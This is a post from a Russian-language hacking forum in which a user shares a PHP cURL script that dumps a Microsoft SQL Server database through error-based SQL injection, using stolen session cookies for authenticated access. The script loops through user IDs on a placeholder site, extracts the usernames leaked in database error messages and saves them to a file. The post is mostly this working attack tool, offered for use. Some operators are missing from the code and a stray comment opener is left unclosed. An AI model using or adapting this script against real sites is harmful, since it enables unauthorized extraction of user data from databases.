Показать сообщение отдельно

  #458  
Старый 03.10.2008, 21:11
MaSTeR GэN
Участник форума
Регистрация: 23.05.2008
Сообщений: 121
Провел на форуме:
305110

Репутация: 133
По умолчанию

скорее всего боян но просто мож кому пригодиться для дампа базы mssql если требуеться авторизация для доступа с скуле ! испольЗовал curl В фаил cookies.txt нужно положить куки для авторизации!
PHP код:
<?
 set_time_limit
(0);
function 
send($get_url)
{
$ch curl_init();
curl_setopt($chCURLOPT_URL$get_url);
curl_setopt($ch,CURLOPT_COOKIEFILE,"cookies.txt");
curl_setopt($chCURLOPT_HEADER,0);
curl_setopt($chCURLOPT_CONNECTTIMEOUT,30);
curl_setopt($chCURLOPT_FOLLOWLOCATION,0);
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
return 
$data curl_exec($ch);
}
$postfix 0;
$filename "base".$postfix.".txt";
$desp fopen ($filename,"a+");
for (
$id=0;$id<30000;$id++){
$get_url="http://site.com/sql.asp?C=1'+OR+1=(select+top+1+user+from+users+where+Id=".$id.")--";
$str=send($get_url);
if (
preg_match("/nvarchar\040'(.*)'\040in\040una\040colonna/",$str,$matches)) {
echo 
$matches[1];
fputs($desp,$matches[1]);
fputs($desp,"\n");
}
}
fclose($desp);
 
/*

 ?>
 
Ответить с цитированием